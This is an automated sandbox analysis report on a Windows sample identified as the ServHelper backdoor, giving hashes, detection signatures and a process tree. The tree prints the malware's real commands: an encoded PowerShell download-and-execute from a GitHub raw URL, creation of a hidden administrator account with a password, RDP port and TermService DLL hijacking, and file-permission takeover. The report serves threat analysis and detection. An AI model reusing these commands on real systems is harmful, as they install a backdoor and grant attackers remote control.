Analysis

  • max time kernel
    131s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    31-01-2022 23:41

General

  • Target

    a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe

  • Size

    4.5MB

  • MD5

    d9825d1424b9058fd87f5bb6e808346a

  • SHA1

    21980e67e2bba65b9753021e9091c2ab7c99f3e3

  • SHA256

    a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3

  • SHA512

    7359f0bc4f06f48b8a60764ba142bf7650cee52cfa8499142686c846abc8366faf6f8746573ec370eef64e6c92b5999e8e22f9521c4da91626d7d783883a0cef

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

  • ServHelper

    ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Blocklisted process makes network request 2 IoCs
  • Modifies RDP port number used by Windows 1 TTPs
  • Possible privilege escalation attempt 8 IoCs
  • Sets DLL path for service in the registry 2 TTPs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 9 IoCs
  • Modifies data under HKEY_USERS 4 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 18 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe
    "C:\Users\Admin\AppData\Local\Temp\a81d0099ecd54a32aa6b858544b82a809237cddc903b45b032618d93ef7f70f3.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:604
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
      2⤵
      • Drops file in System32 directory
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1324
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qjdeca6i.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1276
        • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES733.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC722.tmp"
          4⤵
            PID:1352
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1204
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1328
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -s -NoLogo -NoProfile
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1696
        • C:\Windows\system32\takeown.exe
          "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:268
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1708
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          • Suspicious use of AdjustPrivilegeToken
          PID:1080
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:960
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:760
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:868
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1052
        • C:\Windows\system32\icacls.exe
          "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
          3⤵
          • Possible privilege escalation attempt
          • Modifies file permissions
          PID:1220
        • C:\Windows\system32\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
          3⤵
            PID:1632
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
            3⤵
            • Modifies registry key
            PID:1304
          • C:\Windows\system32\reg.exe
            "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
            3⤵
              PID:1320
            • C:\Windows\system32\net.exe
              "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1064
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
                4⤵
                  PID:1800
              • C:\Windows\system32\cmd.exe
                "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:2036
                • C:\Windows\system32\cmd.exe
                  cmd /c net start rdpdr
                  4⤵
                  • Suspicious use of WriteProcessMemory
                  PID:824
                  • C:\Windows\system32\net.exe
                    net start rdpdr
                    5⤵
                      PID:1700
                      • C:\Windows\system32\net1.exe
                        C:\Windows\system32\net1 start rdpdr
                        6⤵
                          PID:1312
                  • C:\Windows\system32\cmd.exe
                    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
                    3⤵
                      PID:1188
                      • C:\Windows\system32\cmd.exe
                        cmd /c net start TermService
                        4⤵
                          PID:1028
                          • C:\Windows\system32\net.exe
                            net start TermService
                            5⤵
                              PID:1704
                              • C:\Windows\system32\net1.exe
                                C:\Windows\system32\net1 start TermService
                                6⤵
                                  PID:1120
                          • C:\Windows\system32\cmd.exe
                            "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
                            3⤵
                              PID:1252
                            • C:\Windows\system32\cmd.exe
                              "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
                              3⤵
                                PID:1008
                          • C:\Windows\System32\cmd.exe
                            cmd /C net.exe user WgaUtilAcc 000000 /del
                            1⤵
                              PID:1416
                              • C:\Windows\system32\net.exe
                                net.exe user WgaUtilAcc 000000 /del
                                2⤵
                                  PID:1976
                                  • C:\Windows\system32\net1.exe
                                    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
                                    3⤵
                                      PID:1956
                                • C:\Windows\System32\cmd.exe
                                  cmd /C net.exe user WgaUtilAcc yrP5BRJo /add
                                  1⤵
                                    PID:536
                                    • C:\Windows\system32\net.exe
                                      net.exe user WgaUtilAcc yrP5BRJo /add
                                      2⤵
                                        PID:1764
                                        • C:\Windows\system32\net1.exe
                                          C:\Windows\system32\net1 user WgaUtilAcc yrP5BRJo /add
                                          3⤵
                                            PID:2020
                                      • C:\Windows\System32\cmd.exe
                                        cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                        1⤵
                                          PID:1756
                                          • C:\Windows\system32\net.exe
                                            net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                            2⤵
                                              PID:1252
                                              • C:\Windows\system32\net1.exe
                                                C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
                                                3⤵
                                                  PID:268
                                            • C:\Windows\System32\cmd.exe
                                              cmd /C net.exe LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD
                                              1⤵
                                                PID:1900
                                                • C:\Windows\system32\net.exe
                                                  net.exe LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD
                                                  2⤵
                                                    PID:1040
                                                    • C:\Windows\system32\net1.exe
                                                      C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QSKGHMYQ$ /ADD
                                                      3⤵
                                                        PID:868
                                                  • C:\Windows\System32\cmd.exe
                                                    cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                    1⤵
                                                      PID:1156
                                                      • C:\Windows\system32\net.exe
                                                        net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                        2⤵
                                                          PID:1384
                                                          • C:\Windows\system32\net1.exe
                                                            C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
                                                            3⤵
                                                              PID:640
                                                        • C:\Windows\System32\cmd.exe
                                                          cmd /C net.exe user WgaUtilAcc yrP5BRJo
                                                          1⤵
                                                            PID:1064
                                                            • C:\Windows\system32\net.exe
                                                              net.exe user WgaUtilAcc yrP5BRJo
                                                              2⤵
                                                                PID:1244
                                                                • C:\Windows\system32\net1.exe
                                                                  C:\Windows\system32\net1 user WgaUtilAcc yrP5BRJo
                                                                  3⤵
                                                                    PID:1800
                                                              • C:\Windows\System32\cmd.exe
                                                                cmd.exe /C wmic path win32_VideoController get name
                                                                1⤵
                                                                  PID:1960
                                                                  • C:\Windows\System32\Wbem\WMIC.exe
                                                                    wmic path win32_VideoController get name
                                                                    2⤵
                                                                    • Modifies data under HKEY_USERS
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    PID:1956
                                                                • C:\Windows\System32\cmd.exe
                                                                  cmd.exe /C wmic CPU get NAME
                                                                  1⤵
                                                                    PID:2016
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      wmic CPU get NAME
                                                                      2⤵
                                                                      • Modifies data under HKEY_USERS
                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                      PID:884
                                                                  • C:\Windows\System32\cmd.exe
                                                                    cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                    1⤵
                                                                      PID:808
                                                                      • C:\Windows\system32\cmd.exe
                                                                        cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                        2⤵
                                                                          PID:1040
                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
                                                                            3⤵
                                                                            • Blocklisted process makes network request
                                                                            • Drops file in Windows directory
                                                                            • Modifies data under HKEY_USERS
                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                            PID:1500

                                                                      Network

                                                                      MITRE ATT&CK Enterprise v6

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      • memory/604-56-0x0000000028190000-0x0000000028610000-memory.dmp

                                                                        Filesize

                                                                        4.5MB

                                                                      • memory/604-57-0x0000000028190000-0x0000000028610000-memory.dmp

                                                                        Filesize

                                                                        4.5MB

                                                                      • memory/604-58-0x0000000028190000-0x0000000028610000-memory.dmp

                                                                        Filesize

                                                                        4.5MB

                                                                      • memory/604-55-0x0000000041350000-0x0000000041600000-memory.dmp

                                                                        Filesize

                                                                        2.7MB

                                                                      • memory/1204-81-0x00000000027F4000-0x00000000027F7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1204-80-0x00000000027F2000-0x00000000027F4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1204-79-0x00000000027F0000-0x00000000027F2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1204-82-0x00000000027F7000-0x00000000027F8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1204-83-0x00000000027FC000-0x000000000281B000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1204-78-0x000000001B940000-0x000000001BC3F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1204-77-0x000007FEEB0A0000-0x000007FEEBBFD000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1324-59-0x000007FEFB531000-0x000007FEFB533000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1324-60-0x000007FEEB0A0000-0x000007FEEBBFD000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1324-66-0x000000000294B000-0x000000000296A000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1324-62-0x0000000002942000-0x0000000002944000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1324-61-0x0000000002940000-0x0000000002942000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1324-63-0x0000000002944000-0x0000000002947000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1324-64-0x000000001B720000-0x000000001BA1F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1324-74-0x000000000296D000-0x000000000296E000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1328-89-0x00000000023B4000-0x00000000023B7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1328-86-0x000007FEEB0A0000-0x000007FEEBBFD000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1328-88-0x00000000023B2000-0x00000000023B4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1328-91-0x000000001B9B0000-0x000000001BCAF000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1328-90-0x00000000023B7000-0x00000000023B8000-memory.dmp

                                                                        Filesize

                                                                        4KB

                                                                      • memory/1328-87-0x00000000023B0000-0x00000000023B2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1328-92-0x00000000023BC000-0x00000000023DB000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1500-110-0x000007FEEB0A0000-0x000007FEEBBFD000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1500-111-0x0000000001000000-0x0000000001002000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1500-112-0x0000000001002000-0x0000000001004000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1500-113-0x0000000001004000-0x0000000001007000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1500-114-0x000000000100B000-0x000000000102A000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1696-95-0x000007FEEB0A0000-0x000007FEEBBFD000-memory.dmp

                                                                        Filesize

                                                                        11.4MB

                                                                      • memory/1696-101-0x00000000025CC000-0x00000000025EB000-memory.dmp

                                                                        Filesize

                                                                        124KB

                                                                      • memory/1696-100-0x000000001B930000-0x000000001BC2F000-memory.dmp

                                                                        Filesize

                                                                        3.0MB

                                                                      • memory/1696-96-0x00000000025C0000-0x00000000025C2000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1696-99-0x00000000025C4000-0x00000000025C7000-memory.dmp

                                                                        Filesize

                                                                        12KB

                                                                      • memory/1696-97-0x00000000025C2000-0x00000000025C4000-memory.dmp

                                                                        Filesize

                                                                        8KB

                                                                      • memory/1696-98-0x00000000025C7000-0x00000000025C8000-memory.dmp

                                                                        Filesize

                                                                        4KB